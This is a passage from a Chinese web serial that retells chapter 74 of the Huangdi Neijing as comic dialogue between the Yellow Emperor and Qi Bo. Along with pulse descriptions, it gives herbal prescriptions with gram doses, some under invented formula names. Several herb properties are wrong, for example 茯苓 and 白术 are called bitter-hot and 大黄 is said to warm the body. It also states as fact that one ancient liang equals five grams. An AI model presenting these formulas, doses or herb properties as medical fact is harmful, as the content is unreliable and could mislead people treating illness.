而那些药材呢，就像是游戏里的道具，附子就像是火箭筒，能瞬间把寒气给轰走；干姜就像是暖宝宝，能持续给身体提供温暖；炙甘草就像是修理工具，能让药材们更好地发挥作用；肉桂和吴茱萸呢，就像是加速器，能让身体更快地恢复健康！” 至真要大论篇第七十四（七） 黄帝一脸认真说：哎呀，岐伯啊，你这医术真是了得！刚才说的那些五行对应疾病的理论，简直让我耳目一新。那么，如果真的遇到了这些问题，我们该怎么治疗呢？ 岐伯捋了捋胡子，故作神秘道：哈哈，皇上您问得好！咱们这就来一一破解这五行疾病的密码。 黄帝眼睛一亮，催促道：快说说，快说说！ 岐伯：首先啊，要是遇到了风气太盛的病，就像春天风大得能把人吹跑一样，咱们就得用“辛凉”的药来平息它。这“辛凉”就像是夏日的微风，带着点清凉，能吹散那股子邪风。 黄帝若有所思道：哦，那具体用什么药呢？ 岐伯细细说道：比如说啊，薄荷、桑叶这些，都是辛凉的好手。它们就像是小风扇，呼呼地给身体降温，还能把风邪给赶跑。当然啦，还得加点苦甘的药来帮忙，比如黄芩、甘草，就像是给身体加了点甜甜的安慰，还能增强抵抗力。 黄帝点头，赞同道：嗯，有道理！那要是这风还带着点火气呢？ 岐伯这下乐了：哈哈，那咱就用点酸味的药来收敛一下，比如乌梅、山楂，就像是给身体来了个酸爽的拥抱，把火气给收住了。 岐伯接着说：接下来啊，要是遇到了热气太盛的病，就像夏天的大太阳，能把人烤熟一样。这时候，咱们就得用“咸寒”的药来给它降降温。 黄帝不由好奇地问：咸寒？那是什么东西？ 岐伯开始列举道：比如说啊，知母、石膏这些，就像是夏天的冰淇淋，又咸又凉，吃下去立马觉得凉快多了。当然啦，还得加点苦甘的药来调和一下，比如黄连、甘草，就像是给冰淇淋加了点巧克力酱和奶油，口感更好了。 黄帝不由捧腹大笑：哈哈，你这比喻真有趣！那酸味药呢？ 岐伯继续说道：酸味药啊，就像是给身体加了点醋，能收敛一下热气，让它别那么嚣张。比如说五味子、山茱萸这些，都是酸味的好手。 岐伯喝了一口茶，接着说道：再来说说湿气太盛的病吧，就像秋天潮湿的天气，让人感觉浑身不舒服。这时候，咱们就得用“苦热”的药来给它烘干一下。 黄帝皱眉不已，疑惑地问：苦热？听起来有点猛啊！ 岐伯耐心解答道：别担心，咱们有茯苓、白术这些温和的苦热药，就像是给身体开了个烘干机，慢慢地把湿气烘干。当然啦，还得加点酸辛的药来帮忙，比如陈皮、半夏，就像是给烘干机加了点柠檬和姜片的香味，让身体感觉更舒服。 黄帝点头赞同：嗯，这个听起来不错！那要是湿气还带点热气呢？ 岐伯笑道：哈哈，那咱就用点苦温的药，比如苍术、厚朴，就像是给身体来了个温暖的拥抱，把湿气和热气都给抱走了。再加点甘辛的药，比如甘草、生姜，就像是给这个拥抱加了点甜味和辣味，让身体更愿意接受。 岐伯又接着往下说：接下来啊，要是遇到了火气太盛的病，就像火山爆发一样猛烈。这时候，咱们就得用“酸冷”的药来给它浇浇水了。 黄帝一脸惊讶：酸冷？这又是啥玩意儿？ 岐伯又开始列举：比如说啊，丹皮、赤芍这些，就像是冰镇的酸梅汤，又酸又凉，喝下去立马觉得火气消了不少。当然啦，还得加点苦甘的药来调和一下，比如黄柏、甘草，就像是给酸梅汤加了点蜂蜜和柠檬汁，口感更棒了。 黄帝大笑道：你这比喻真是绝了！那酸味药和苦味药还有什么妙用呢？ 岐伯又开始娓娓道来：酸味药能收敛火气，苦味药能发散火气。就像是给身体来了个“收放自如”的大法，让火气不再那么嚣张。 岐伯再次抿了一口茶，说道：再来说说燥气太盛的病吧，就像冬天干燥的空气，让人感觉喉咙都要冒烟了。这时候，咱们就得用“苦湿”的药来给它滋润一下了。 黄帝好奇心爆棚：苦湿？这又是什么新药方？ 岐伯一听，乐了：哈哈，这可不是新药方哦！比如说杏仁、桃仁这些，就像是给身体涂了点保湿霜，让干燥的皮肤变得滋润起来。当然啦，还得加点酸辛的药来帮忙，比如枳壳、桔梗，就像是给保湿霜加了点柠檬和薄荷的味道，让身体感觉更清爽。 黄帝点头赞同道：嗯，这个听起来很实用！ 岐伯长出一口气道：最后啊，要是遇到了寒气太盛的病，就像冬天的大雪封门一样寒冷。这时候，咱们就得用“辛热”的药来给它加点温暖了。 黄帝兴奋地说：这个我知道！肯定是附子、肉桂这些吧！ 岐伯开心地笑道：哈哈，皇上真是聪明绝顶！附子、肉桂就像是给身体点了把火，让身体立马暖和起来。当然啦，还得加点甘苦的药来调和一下，比如甘草、大黄，就像是给这把火加了点柴火和调味料，让火烧得更旺更稳。 黄帝大笑不已：哈哈，你这医术真是了不得！不仅能治病，还能让人听得津津有味！ 岐伯谦虚地摆摆手：哪里哪里！都是皇上您英明神武，才让我有机会展示自己的医术啊！ 刚才黄帝和岐伯说了这么多，咱们来总结一下这个五行平衡大法吧！ 遇到风气太盛的病，就用辛凉的药来平息它；遇到热气太盛的病，就用咸寒的药来降温；遇到湿气太盛的病，就用苦热的药来烘干它；遇到火气太盛的病，就用酸冷的药来浇水；遇到燥气太盛的病，就用苦湿的药来滋润它；遇到寒气太盛的病，就用辛热的药来温暖它。 话说有一天，黄帝闲来无事，便找来了岐伯，俩人开始了一场关于“邪气反胜”的医学大探讨。黄帝一脸认真地说：“岐伯啊，你说这邪气要是反其道而行之，咱们该怎么对付它呢？” 岐伯一听，嘿，这可是个有意思的话题，于是他清了清嗓子，开始娓娓道来：“皇上啊，您这问题问得好！咱们先说说这风邪吧。要是风邪本该盛行的时候，偏偏清气（也就是寒冷之气）占了上风，那咱们就得用点酸温的药材来调和，比如山楂啊、乌梅啊这些酸酸的东西，再加点温热的药材，比如生姜、桂枝啥的，给身体加加温。然后呢，再用点苦甘的药材，比如黄连、甘草，来辅助一下。最后，再来点辛味的药材，比如薄荷、荆芥，让药性平和点，这样风邪和清气的斗争就能平息啦！” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻打得真好，山楂、乌梅、生姜、桂枝，这些食材我平时也爱吃，原来还能治病啊！那要是热邪本该盛行的时候，寒气却占了上风呢？” 岐伯微微一笑：“皇上别急，这时候咱们就得用点甘热的药材了，比如人参、黄芪这些大补的，再加点苦辛的药材，比如黄连、干姜，来调和一下。最后，再来点咸味的药材，比如海藻、昆布，让药性更加平和。这样一来，热邪和寒气的斗争也能平息啦！” 黄帝一听，眼睛一亮：“岐伯啊，你这方子真是绝了！不过，要是湿邪本该盛行的时候，热气却占了上风呢？” 岐伯摸了摸下巴，思索片刻：“这时候咱们就得用点苦冷的药材了，比如黄连、黄柏这些清热的，再加点咸甘的药材，比如海藻、甘草，来辅助一下。最后，再用点苦味的药材，比如龙胆草、苦参，让药性更加平和。这样一来，湿邪和热气的斗争也能平息啦！” 黄帝听了，笑得合不拢嘴：“岐伯啊，你这真是医学界的段子手啊！那要是火邪本该盛行的时候，寒气又占了上风呢？” 岐伯耸了耸肩：“皇上啊，这时候咱们还是得用点甘热的药材，比如人参、黄芪这些大补的，再加点苦辛的药材，比如黄连、干姜，来调和一下。最后，再来点咸味的药材，比如海藻、昆布，让药性更加平和。您看，这方子是不是和前面那个热邪反被寒气胜的方子有点像？其实啊，这就是中医的奥妙之处，不同的邪气，有时候得用类似的方子来调和。” 黄帝一听，恍然大悟：“原来如此啊！那要是燥邪本该盛行的时候，热气又占了上风呢？” 岐伯点了点头：“这时候咱们就得用点平寒的药材了，比如菊花、桑叶这些清热的，再加点苦甘的药材，比如黄连、甘草，来辅助一下。最后，再来点酸味的药材，比如乌梅、山楂，让药性更加平和。这样一来，燥邪和热气的斗争也能平息啦！您看，咱们中医是不是很有趣？不同的邪气，得用不同的药材来调和，而且还得讲究个药性平和。” 黄帝听了，笑得前仰后合：“岐伯啊，你这真是医学界的相声大师啊！那要是寒邪本该盛行的时候，热气又占了上风呢？” 岐伯笑了笑：“这时候咱们就得用点咸冷的药材了，比如海藻、昆布这些清热的，再加点甘辛的药材，比如甘草、干姜，来调和一下。最后，再来点苦味的药材，比如黄连、黄柏，让药性更加平和。这样一来，寒邪和热气的斗争也能平息啦！您看，咱们中医是不是既科学又有趣？” 黄帝听了，连连点头：“岐伯啊，你这真是医学界的宝藏啊！不过啊，你这方子里的药材都是怎么配制的呢？能不能给我讲讲？” 岐伯一听，哈哈大笑：“皇上啊，您这可是问到点子上了！咱们中医的方子，那都是有讲究的。比如说吧，这方子里的药材，都得按照一定的比例来配制。就像咱们平时做饭一样，盐放多了咸，放少了淡，得恰到好处才行。这药材也是一样的道理，得按照一定的比例来配制，才能发挥出最好的药效。” 黄帝一听，来了兴趣：“那岐伯啊，你这方子里的药材都是按什么比例来配制的呢？” 岐伯摸了摸胡子：“皇上啊，这比例可是个大学问。不同的方子，药材的比例也是不一样的。不过啊，咱们可以大概地说一说。比如说吧，这方子里的主药，一般都是用量最大的，大概占整个方子的一半左右。然后呢，辅药就是用量次多的，大概占整个方子的三分之一左右。再然后呢，就是佐药和使药了，它们的用量就比较少了，大概占整个方子的十分之一左右。这样一来，整个方子就能发挥出最好的药效了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 黄帝一听，连连称赞：“岐伯啊，你这真是医学界的数学大师啊！不过啊，你这方子里的药材都是按什么单位来计量的呢？” 岐伯笑了笑：“皇上啊，咱们中医一般都是用‘两’来计量药材的。不过啊，这古代的‘两’和现代的‘两’可不一样。古代的‘一两’啊，大概相当于现代的五克。所以啊，咱们在配制方子的时候，得把这个换算关系给弄清楚。” 黄帝一听，哈哈大笑：“岐伯啊，你这真是医学界的换算大师啊！不过啊，我这还有最后一个问题，你这方子里的药材都是怎么煎制的呢？” 岐伯一听，嘿嘿一笑：“皇上啊，这煎制药材啊，也是个大学问。不同的药材，煎制的方法也是不一样的。比如说吧，这有些药材得先煎，有些药材得后下，有些药材得包煎，有些药材得另煎。这都得根据药材的特性和方子的要求来决定的。” 黄帝一听，连连点头：“岐伯啊，你这真是医学界的烹饪大师啊！不过啊，我这还有最后一个问题，你这方子里的药材都是怎么判断用量的呢？” 岐伯摸了摸胡子：“皇上啊，这判断药材的用量啊，其实就是要看病人的病情和体质了。病情重的啊，药材的用量就得大一些；病情轻的啊，药材的用量就得小一些。体质虚弱的啊，药材的用量就得温和一些；体质强壮的啊，药材的用量就得稍微大一些。所以啊，咱们在看病的时候啊，得仔细观察病人的病情和体质啊，才能开出最合适的方子来。” 黄帝一听，哈哈大笑：“岐伯啊，你这真是医学界的侦探大师啊！今天真是让我大开眼界啊！你这医学界的段子手、相声大师、数学大师、换算大师、烹饪大师、侦探大师的名号啊，我可是得给你好好宣传宣传啊！” 岐伯一听，也笑得合不拢嘴：“皇上啊，您真是太客气了！我这都是些皮毛功夫啊，还得继续努力学习才行啊！不过啊，能让皇上您开心一笑啊，我这心里啊也是美滋滋的！” 至真要大论篇第七十四（八） 话说有一天，黄帝陛下闲着没事，就召见了岐伯。黄帝问道：“岐伯啊，你说要是天上的气候不正常，邪气肆虐，咱们得怎么应对呢？” 岐伯一听，这可是个大学问啊，于是他清了清嗓子，开始了他那“天气大作战”的讲解。 岐伯说：“首先啊，要是天上刮起了大风，本来应该是清新的风气，结果邪气太盛，把清风都给压下去了。这时候，咱们得用点酸酸的东西，再加点温暖的气息来调和。就像是在一杯柠檬水里加点温水，再撒上一把甘草和苦丁茶，酸酸甜甜又带点苦，这不就把邪气给治住了吗？当然啦，甘草和苦丁茶只是辅助，主角还是那酸酸暖暖的柠檬水哦！” 黄帝一听，嘿，这比喻挺有意思，继续问：“那要是天上热得跟蒸笼似的，邪气还比热气更猛，咋整？” 岐伯说：“这时候，咱们得拿出甘甜的温暖来，就像是一碗热腾腾的蜂蜜姜茶，再加点苦酸辛的调料。比如说，加点柠檬汁和一点点醋，还有几片生姜，这样既能驱寒，又能调和热邪。就像是给热邪来了个‘温柔一刀’，让它知道谁是老大！” 黄帝听得津津有味，又问：“那要是天上湿漉漉的，结果热气反而更嚣张，这咋处理？” 岐伯笑道：“这时候，咱们得用上苦寒的‘杀手锏’，就像是喝一杯苦咖啡，再加点柠檬汁。具体来说，可以用黄连、黄芩这些苦寒的药材，再配上点白芍、甘草来辅助，就像是给湿气热气来了个‘双重打击’，让它们知道咱们的厉害！” 黄帝点头称赞，又问：“要是天上像火烧一样，结果寒气却更占上风，这咋办？” 岐伯说：“这时候，咱们得拿出甘热的‘暖宝宝’，再加点苦辛的调料。就像是吃一顿麻辣火锅，再配上点甜甜的甘蔗汁。药材方面呢，可以用附子、干姜这些甘热的，再加点川芎、细辛来辅助，让寒气知道，咱们也是有‘火眼金睛’的！” 黄帝一听，哈哈大笑：“你这比喻真是绝了！那要是天上干燥得像沙漠，结果热气还更旺，咋处理？” 岐伯说：“这时候，咱们得用上辛寒的‘灭火器’，再加点苦甘的调料。就像是喝一杯冰镇的薄荷茶，再配上点蜂蜜和甘草。药材上呢，可以用石膏、薄荷这些辛寒的，再加点知母、甘草来辅助，让热邪知道，咱们也是有‘冷静头脑’的！” 黄帝越听越乐，最后问：“那要是天上冷得跟冰窖似的，结果热气还更嚣张，这咋搞？” 岐伯说：“这时候，咱们得用上咸冷的‘冰雪奇缘’，再加点苦辛的调料。就像是吃一份咸咸的冰淇淋，再撒上点胡椒粉和姜片。药材上呢，可以用芒硝、大黄这些咸寒的，再加点枳实、厚朴来辅助，让冷邪热邪都知道，咱们可是‘冰火两重天’的高手！” 黄帝听完，笑得前仰后合，说：“岐伯啊，你这不只是治病的高手，还是比喻的大师啊！你这讲解，真是让我听得津津有味，学到了不少东西！” 岐伯谦虚地说：“哪里哪里，陛下过奖了。其实啊，这些药材和方剂的配制，都是有讲究的。比如说，古代的一两，咱们现在换算成5克。那么，一剂药方里，如果写着某药材一两，那实际上就是5克。这样，咱们在配制药方的时候，就能更加准确了。” 黄帝点头表示赞同，又问：“那脉象呢？脉象也能用你这么幽默的方式讲解吗？” 岐伯想了想，说：“当然可以！比如说，脉象要是像琴弦一样紧绷绷的，那就是弦脉，说明身体里可能有肝气郁结的问题。就像是琴弦被绷紧了一样，咱们得给它松松劲儿。如果脉象像是滚动的珠子一样圆滑流利，那就是滑脉，可能是怀孕或者体内有痰湿的表现。就像是珠子在盘子里滚来滚去，咱们得看看它滚到哪里去了。” 黄帝闲来无事，便找来了他的老搭档——岐伯，两人坐在宫殿的凉亭里，一边品茶一边聊天。黄帝突然心血来潮，问岐伯：“岐伯啊，你说这六气（风、寒、暑、湿、燥、火）之间要是打起架来，谁胜谁负，会有什么表现呢？” 岐伯一听，嘿，这问题有意思，便清了清嗓子，开始娓娓道来：“黄帝啊，你问得好啊！这六气相胜，那场面可热闹了，咱们就先说说厥阴风木吧。要是厥阴风木这家伙太嚣张，占了上风，那可就有好戏看了。” 黄帝一听，立马来了精神：“哦？快说说，快说说！” 岐伯接着说：“这厥阴风木一胜啊，那人可就惨了。首先，耳朵会嗡嗡响，跟有一群蜜蜂在里面开会似的；然后呢，头就开始晕，感觉整个世界都在旋转，站都站不稳。这时候啊，他还特别想吐，感觉胃里面翻江倒海的，跟坐船遇到大浪一样。” 黄帝听得津津有味，插嘴道：“那岂不是很难受？” 岐伯点了点头：“可不是嘛！这时候啊，他还会觉得胸口和胃那块儿凉飕飕的，好像被冬风吹过一样，但实际上外面可能是大晴天呢！而且啊，大风还会时不时地刮起来，吹得人都快飞了。” 黄帝笑得前仰后合：“这厥阴风木也太调皮了吧！那昆虫们呢？” 岐伯说：“昆虫们可倒霉了，这风一吹，它们连繁殖的力气都没有了，一个个都蔫儿了。再来说说人的感受吧，这时候啊，人的胁肋部会感觉有一股气在乱窜，疼得要命。这股气还会化成热邪，让人小便都变得黄赤黄赤的，跟浓茶似的。” 黄帝一听，不禁皱了皱眉：“这也太夸张了吧！” 岐伯接着说：“还有更夸张的呢！这热邪要是往上冲啊，就会冲到胃脘那块儿，疼得人直哼哼，感觉心都要被掏出来了。而且啊，这股疼还会往两边胁肋扩散，让人连喘气都费劲。这时候啊，肚子还会咕噜咕噜地叫个不停，跟打雷似的，然后就开始拉肚子，拉得人都快脱水了。” 黄帝听得哈哈大笑：“这厥阴风木也太会闹腾了吧！” 岐伯说：“可不是嘛！拉肚子还算轻的，有的人还会拉出血便来，红的白的都有，看着都吓人。要是再严重点儿啊，连呕吐都止不住了，吃什么吐什么，连喝水都吐。最后啊，连喉咙和胸口都堵得慌，感觉气都喘不上来了。” 黄帝听完，感慨道：“这厥阴风木一胜，可真是要了人的老命了！那有没有什么方子可以治治它呢？” 岐伯想了想，说：“当然有啦！不过啊，这方子可不简单，得用上好几味药呢。比如说吧，咱们可以用柴胡、白芍、枳壳、炙甘草这四味药，各取它个……嗯……5克吧。这四味药啊，就像四个勇士一样，分别去攻打厥阴风木的四面八方。” 黄帝一听，好奇地问：“那这四味药是怎么个打法呢？” 岐伯解释道：“柴胡啊，就像个先锋官，它先冲上去，把厥阴风木的气势给压下去；白芍呢，就像个后勤部长，它负责给身体补充营养和水分；枳壳呢，就像个侦察兵，它负责找出厥阴风木藏身的地方；炙甘草呢，就像个和事佬，它负责调和大家的矛盾，让大家都别打了。” 黄帝一听，乐得直拍手：“这方子有意思！那要是按照现代的计量单位来算呢？” 岐伯说：“按照现代的计量单位来算啊，就是柴胡5克、白芍5克、枳壳5克、炙甘草5克。把这四味药放在一起煮水喝，喝上几天啊，那厥阴风木就老实多了。” **帝王的“好奇宝宝”时刻：揭秘少阴之胜的那些事儿** 岐伯清了清嗓子，慢悠悠地说：“陛下啊，这少阴之胜啊，可不是一般的热闹。您想啊，要是少阴之气太旺了，那身体里的火苗子可就嗖嗖地往上窜了。” “您看，这心下热，就像您中午吃了顿麻辣火锅，那火辣辣的感觉直冲天灵盖，但其实呢，是心脏周围热得跟蒸笼似的。善饥，就是您明明刚吃过饭，可肚子还是咕咕叫，好像永远填不满的无底洞。齐下反动，这齐下啊，咱们现代人叫肚脐周围，那儿要是动起来，就像肚子里有个调皮的小精灵，在给您跳肚皮舞呢！” “再来说说这气游三焦，三焦啊，就像是咱们身体里的一个大通道，气儿要是在这儿游来游去，那可就热闹了，感觉整个人都热血沸腾的。炎暑至，这可不是说夏天来了，而是说您身体里那股热劲儿，跟盛夏似的，热得让人受不了。” “木乃津，草乃萎，这又是咋回事儿呢？您看，树木要是水分太多了，就容易烂根；草要是太热了，就容易枯萎。咱们身体也一样，少阴之气太旺，就容易影响到身体的平衡，让一些本该生机勃勃的地方变得萎靡不振。” “呕逆躁烦，腹满痛，溏泄，这些就更难受了。呕逆就像您喝了口汽水，那气儿直往上顶，让您想吐又吐不出来；躁烦呢，就像您心里有只小猫在挠，怎么也安静不下来。腹满痛，就像您吃了顿大餐，肚子撑得圆滚滚的，还隐隐作痛。溏泄，那就是拉肚子了，跟水龙头没关紧似的，哗啦啦地往外流。” “最后啊，这传为赤沃，赤沃就是便血，那可是大事儿啊！就像是您的身体在给您发出红色警报，告诉您得赶紧想办法了。” 说到这儿，岐伯停顿了一下，看黄帝听得津津有味，又接着说：“陛下啊，这少阴之胜可不是闹着玩儿的，得赶紧调理。不过呢，咱们也别太担心，毕竟咱们有中医的智慧嘛！” “要是遇到这种情况，咱们可以来个‘清热泻火汤’。这方子啊，得用黄连、黄芩、黄柏这三味药，都是清热的高手。黄连呢，就像是个灭火器，专门对付心火；黄芩呢，就像是个清道夫，清理肺里的热气；黄柏呢，就像是个守门员，守住肾的门户，不让热气往下窜。” “这三味药啊，每样都得来个10克，就像咱们现在喝咖啡加糖，得适量才行。然后呢，再加上点知母、生地黄，这两味药就像是给身体补充水分的，让身体不再那么干燥。知母来个15克，生地黄来个20克，就像咱们喝水一样，得喝够才行。” “这方子啊，煎起来也简单。把这些药材都放到砂锅里，加上适量的水，就像咱们煮火锅一样，大火烧开，然后转小火慢慢炖。炖个半小时左右，那药香就飘出来了，就像咱们家的饭菜香，让人闻了就食欲大增。” “不过啊，陛下，这方子虽然好，但也不能乱吃。得找个靠谱的中医大夫给您把把脉，看看您这少阴之胜到底是咋回事儿。脉象啊，就像是咱们的身体密码，能反映出很多信息呢！” “比如说啊，要是脉洪大有力，那就像是洪水泛滥一样，说明您身体里的热气太旺了；要是脉细数无力，那就像是小溪流水一样，说明您身体里的气血不足了。这都得靠中医大夫的巧手和经验来判断。” 黄帝又问道：“嘿，岐伯，那个太阴之气过盛是个啥情况呗？听起来挺神秘的。” 岐伯一听，笑眯眯地说：“黄帝大人，这事儿可有意思了，听我慢慢道来。要是太阴之气太霸道了，那就像是家里来了个大反派——火气就被它关在家里出不去了，然后呢，这些火气就在身体里面乱窜，最后就变成了疮啊、疡啊这些烦人的东西，还往外扩散，弄得人浑身不自在。” 黄帝点头：“嗯，听起来就像是身体里面在开派对，结果派对太high了，把家具都给砸了。” 岐伯接着说：“对头！这火气要是闹得凶了，还会跑到你的胠胁——就是腋下到腰那块儿，疼得你哎哟哎哟的。要是再严重点，连心都会跟着遭罪，那种热得让人喘不过气的感觉，就像是吃了十个辣椒再加一杯烈酒，火辣辣地疼。还有啊，头疼、喉咙痛、脖子僵硬，这些症状都能让你怀疑自己是不是变成了钢铁侠，浑身僵硬。” 黄帝笑得差点岔气：“哈哈，那可真够受的！那要是太阴之气独大，又会咋样？” 岐伯一脸正经地说：“那湿气就得在家里憋着，出不去了。然后这湿气还会跑到下焦——就是咱们的小肚子那儿，冷得你直打哆嗦。这疼痛啊，还会跑到头顶，跟你有仇似的，时不时还拉扯一下你的眉毛，让你眉头紧锁，好像天天都在思考人生大问题。” 黄帝做了个思考状：“嗯，思考人生……我在想，这时候我是不是该吃点啥来缓缓？” 岐伯点点头：“没错，这时候你胃里还容易胀气，感觉像是吃了个大气球，随时要爆炸。而且，老天爷也会跟着凑热闹，雨下得勤快得很，干燥的气息反而冒出来了，真是奇了怪了。还有啊，你的小肚子会鼓鼓的，腰啊、屁股啊，感觉像是背了个大沙袋，走路都费劲。上厕所也不顺畅，拉肚子成了家常便饭。脚底下倒是挺暖和，但头却重得像戴了个铁帽子，小腿和脚还肿得跟馒头似的。” 黄帝夸张地做了个“哇哦”的表情：“这也太夸张了吧！那这时候喝水都会变成肿包吗？” 岐伯笑道：“可不是嘛，喝水都得小心，不然一不小心，脸上就多了几个‘小山丘’。不过啊，这病虽然听起来吓人，但咱们中医讲究的是辩证施治，总有办法对付它。” 黄帝来了兴趣：“哦？那你说说，有啥方子能对付这太阴之胜？” 岐伯想了想，说：“要说方子，那可得讲究个君臣佐使。咱们来个‘祛湿消肿汤’怎么样？方子嘛，茯苓20克，猪苓20克，泽泻20克，白术20克，桂枝15克。这五味药，茯苓和猪苓就像是两个勤劳的清洁工，负责把身体里的湿气扫出去；泽泻呢，就像是排水管道，把湿气排出体外；白术则是健脾的能手，让脾胃强起来，不再生成那么多湿气；桂枝嘛，就像个小太阳，温暖一下被寒气侵袭的下焦，让气血流通起来。” 黄帝听得津津有味：“这方子听起来就挺有意思的，感觉像是给身体来了一场大扫除。” 岐伯继续讲解：“当然了，除了吃药，还得注意生活习惯。这时候要少吃生冷的食物，多吃温热的，比如喝点姜茶，吃点红豆薏米粥，都是不错的选择。还有啊，多出去走走，晒晒太阳，让身体感受一下大自然的温暖，也是极好的。” 至真要大论篇第七十四（九） 黄帝继续问岐伯：“嘿，歧伯啊，我一直想搞个明白，那个少阳之胜到底是个啥玩意儿？你能不能给我说道说道？” 歧伯一听，心里暗笑黄帝这求知欲旺盛的样子，简直就像孩子见到了新奇的玩具，但还是一本正经地回答起来：“陛下啊，您这问题问得好！少阳之胜啊，那可是自然界里阳气过剩的一种表现，咱们人体要是碰上了，那可就得热闹了！” “首先啊，这少阳之气一过剩，就像夏天的大太阳直接烤到你的胃上，那感觉，就像是吃了一整盒辣椒，心里头那个烦啊，心绞痛也跟着来凑热闹，眼睛红得跟兔子似的，还特想吐，吐出来的还是酸酸的，那味道，啧啧，比陈年老醋还酸爽！关键是，吐完之后，你还饿得跟三天没吃饭似的，这胃啊，真是让人哭笑不得。” “不仅如此，耳朵也跟着起哄，隐隐作痛，小便呢，红得跟红茶似的，吓得你以为自己是不是得了什么大病。晚上呢，睡眠质量直线下降，一惊一乍的，好像每晚都在跟鬼故事大会的冠军比赛谁更会编故事，说的还是那种让人笑中带泪的荒诞剧。” “这少阳之气要是再嚣张点，你的身体就像被突然点燃的火炉，热得你恨不得立马跳进冰箱里。这种热啊，还会把你的体液都烤干了，草啊、河啊，都跟着遭殃，枯黄一片，水都快见底了。连那些甲壳类的小动物们，比如螃蟹、乌龟啥的，都热得缩成一团，动也不想动。” “说到身体上，小肚子那块儿也会疼，上厕所的时候，你会发现，哎呀妈呀，这排泄物怎么红一块白一块的，跟调色盘似的。这可都是少阳之胜闹的！” 黄帝听完，哈哈大笑：“歧伯啊，你这解释得生动又形象，我这脑袋瓜子算是明白了！不过，咱们中医讲究的是调理，要是真碰上这少阳之胜，有没有什么方子能对付它呢？” 歧伯捋了捋胡子，笑道：“当然有啦！咱们可以来个‘清热和胃汤’，材料简单，效果可不简单。首先，得有点黄连，大概10克吧，这家伙可是清热燥湿的高手；再来点黄芩，也是10克，它能泻火解毒；还有半夏，5克就够了，止呕效果杠杠的；生姜几片，大约5克，暖胃止呕两不误；炙甘草5克，调和一下药性，让整个方子更和谐。最后，来点大枣，大概10枚，补补气血，毕竟跟病魔斗争也得有力气嘛！” “把这些材料放一起，加水煮个半小时，滤掉渣滓，一碗热腾腾的‘清热和胃汤’就出炉了。喝下去，保证你由内到外透着一股清凉，少阳之胜？哼，看它还敢不敢嚣张！” 黄帝听完，眼睛一亮：“这方子听起来就不错，不过话说回来，这脉象上有没有什么特征，能让我们提前预警，免得被这少阳之胜打个措手不及呢？” 歧伯点点头：“当然有啦！这少阳之胜的脉象啊，就像是夏日午后的一场急雨，又快又猛。脉搏跳动得比较快，力度也比较大，就像是你刚跑完步，心跳得跟打鼓似的。而且，这脉象还带点滑，就像是手指在摸一块刚抹过油的木板，滑不溜手的。要是碰到这样的脉象，你可得留点心了，说不定少阳之胜就在不远处向你招手呢！” 黄帝挠了挠头，一脸好奇地问岐伯：“嘿，老岐啊，我这心里头还有个事儿，特想知道阳明之胜那档子事儿，你给咱讲讲呗？” 岐伯捋了捋他那飘逸的长须，故作深沉地说：“哎呀，这事儿啊，说来话长，不过既然陛下发问，那我就得好好说道说道了。咱们说这阳明之胜啊，那可是自然界的阳气太过，欺负了阴气，就像是大晴天突然来了个大风暴，把一切都给搅和了。这时候，人体里的那股子清凉之气就会从五脏六腑里往外冒，特别是左边那肋巴骨下面，哎哟，那叫一个疼啊，跟有人拿锤子砸似的。” 黄帝一听，眼睛瞪得跟铜铃似的：“哟呵，这么猛？那接下来呢？” 岐伯继续娓娓道来：“接下来啊，你的大肠小肠可就得遭殃了，拉肚子拉到腿软，那画面太美我不敢看。而且啊，这阳明之胜还会导致喉咙跟被啥堵住了一样，吞口水都费劲，外头呢，可能还会长出一些奇奇怪怪的东西，比如疝气之类的，让人哭笑不得。这时候啊，整个世界都仿佛进入了大冰窖，万物凋零，连花儿都吓得改了颜色，那些毛毛虫啊，更是惨，直接成了大自然的牺牲品。” 黄帝听得一愣一愣的，笑道：“哈哈，岐伯你这描述得太生动了，我都感觉自己已经冻成冰棍了。那咱人体内呢，还有啥反应不？” 岐伯点头：“当然有啦，这时候啊，你胸里头就跟塞了团棉花似的，闷得慌，喉咙还是堵，时不时还得咳咳两声，以示抗议呢！” 黄帝笑得前俯后仰：“哈哈，这阳明之胜，简直就是人体内的‘捣蛋鬼’嘛！不过话说回来，要是真遇到这种情况，咱们有啥好办法没？” 岐伯摆摆手：“别急，黄帝大人，我这不正要说嘛。古代有个方子，叫做‘清阳明汤’，专治这种阳明之胜的毛病。不过呢，这方子可是有点讲究，咱们得按现代计量来算，毕竟古代的一两，咱们现在可是当成5克来看待的。” 黄帝来了兴趣：“快快快，说说这方子咋配的？” 岐伯清了清嗓子：“这方子啊，需要黄连30克（6两），黄芩25克（5两），黄柏20克（4两），栀子15克（3两），再加上茯苓和白术各20克（各4两），甘草10克（2两）。把这些药材放到一起，加水煮沸，小火慢炖个把小时，然后滤掉药渣，喝那汤水，保证你喝下去之后，整个人都清爽起来，跟洗了个澡似的。” 黄帝听得津津有味：“哟，这方子听起来挺有意思的，不过，咱这脉象上，阳明之胜有啥特征没？” 岐伯一本正经地说：“脉象啊，那可是相当有特色。阳明之胜的时候，脉摸起来就像是在摸一根紧绷绷的琴弦，又硬又急，跳动得飞快，就像是兔子被人追，拼了命地跑。而且啊，这脉还带点‘滑’的感觉，就像是手上涂了层油，滑不溜手的，这可不简单，是体内湿热太重，阳气过旺的表现呢！” 黄帝继续问岐伯：“嘿，岐伯，我特别想知道那个太阳之胜是咋回事儿，你给我讲讲呗！” 岐伯一听，立马来了精神，摆出一副“我可是医学大咖”的架势，缓缓开口：“这事儿啊，说来话长，但既然皇上您有兴趣，那我就给您细细道来。这太阳之胜啊，简单说，就是自然界里阳气太过，搞得天气都不按套路出牌了。本该温暖如春的时候，却突然冷得跟冰窖似的，水都提前结冰了，连那羽毛轻盈的鸟儿们都冻得晚出生了。这时候啊，痔疮啊、疟疾啊这些讨厌的毛病就开始找上门来了。” 黄帝一听，瞪大了眼睛：“哦？还有这事儿？那接下来呢？” 